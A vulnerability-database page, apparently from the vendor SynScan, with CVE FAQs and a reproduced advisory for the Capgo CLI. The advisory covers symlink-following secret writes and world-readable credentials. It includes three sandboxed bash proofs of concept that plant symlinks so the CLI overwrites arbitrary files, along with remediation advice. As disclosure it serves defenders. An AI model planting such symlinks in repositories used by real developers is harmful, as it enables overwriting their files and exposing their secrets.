How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

346,508

Total vulnerabilities in the database

Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing) — @capgo / cli

Incorrect Default Permissions

Summary

The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.

Details

Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)

Location: src/login.ts
Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
No checks are performed to prevent writing through a symlink.
Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.

Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)

Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.

Issue 3 - Insecure default permissions for global credentials

Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
Observed permissions after save: -rw-rw-r-- (664)
Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.

PoC

PoC A: .capgo symlink clobber (writes even when API key invalid)

set -euo pipefail
BASE=&quot;/tmp/capgo_cli_poc_$(date +%s)&quot;
HOME_SANDBOX=&quot;$BASE/home&quot;
REPO=&quot;$BASE/repo&quot;
TARGET=&quot;$BASE/clobbered.txt&quot;

mkdir -p &quot;$HOME_SANDBOX&quot; &quot;$REPO&quot;
cd &quot;$REPO&quot;
git init -q

ln -s &quot;$TARGET&quot; .capgo

# This should fail auth, but still overwrites TARGET
HOME=&quot;$HOME_SANDBOX&quot; npx --yes @capgo/[email protected] login &quot;INVALID_KEY_SHOULD_FAIL&quot; --local || true

echo &quot;== TARGET content ==&quot;
cat &quot;$TARGET&quot;

Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.

PoC B: .capgo-credentials.json symlink clobber (no login required)

set -euo pipefail
BASE=&quot;/tmp/capgo_creds_symlink_$(date +%s)&quot;
HOME_SANDBOX=&quot;$BASE/home&quot;
REPO=&quot;$BASE/repo&quot;
TARGET=&quot;$BASE/clobbered_creds.txt&quot;

mkdir -p &quot;$HOME_SANDBOX&quot; &quot;$REPO&quot;
cd &quot;$REPO&quot;
git init -q

ln -s &quot;$TARGET&quot; .capgo-credentials.json

HOME=&quot;$HOME_SANDBOX&quot; npx --yes @capgo/[email protected] build credentials save \
  --local --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

echo &quot;== TARGET exists and contains JSON written via symlink ==&quot;
ls -la &quot;$TARGET&quot; || true
cat &quot;$TARGET&quot; || true

Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.

PoC C: global credentials permissions are world-readable

set -euo pipefail
BASE=&quot;/tmp/capgo_creds_perm_$(date +%s)&quot;
HOME_SANDBOX=&quot;$BASE/home&quot;
mkdir -p &quot;$HOME_SANDBOX&quot;

HOME=&quot;$HOME_SANDBOX&quot; npx --yes @capgo/[email protected] build credentials save \
  --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

CREDS=&quot;$HOME_SANDBOX/.capgo-credentials/credentials.json&quot;
ls -la &quot;$CREDS&quot; || true
stat -c &#039;%a %U:%G %n&#039; &quot;$CREDS&quot; || true

Observed: credentials.json created with mode 664 (-rw-rw-r--).

Impact

Arbitrary file overwrite (clobber) as the user running the CLI (developer workstation / CI runner).
This can cause:

>developer environment compromise or sabotage (overwriting config files, scripts, env files) >accidental or malicious leakage/destruction of secrets

Local secret exposure: global credentials written as 664 allows other local users to read signing material on shared machines.
A realistic scenario: a developer runs npx @capgo/cli ... --local inside an untrusted repo/template; the repo contains malicious symlinks.

Suggested remediation

Do not write .capgo until after API key validation succeeds.
For all secret/config writes:

>refuse symlink destinations (lstat + isSymbolicLink) >use safe file creation and enforce permissions (0600 for files; 0700 for directories) >write atomically (temp file + rename) after safety checks

Avoid blindly appending to .gitignore unless it is a regular file (also check for symlink).

Published: Mar 18, 2026
Updated: Mar 19, 2026
GHSA: GHSA-8mpm-q7mh-8fvh
Severity: High
Exploit:

No technical information available.

CWEs:

Affected Software
References

Software	From	Fixed in
@capgo / cli	-	7.84.6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.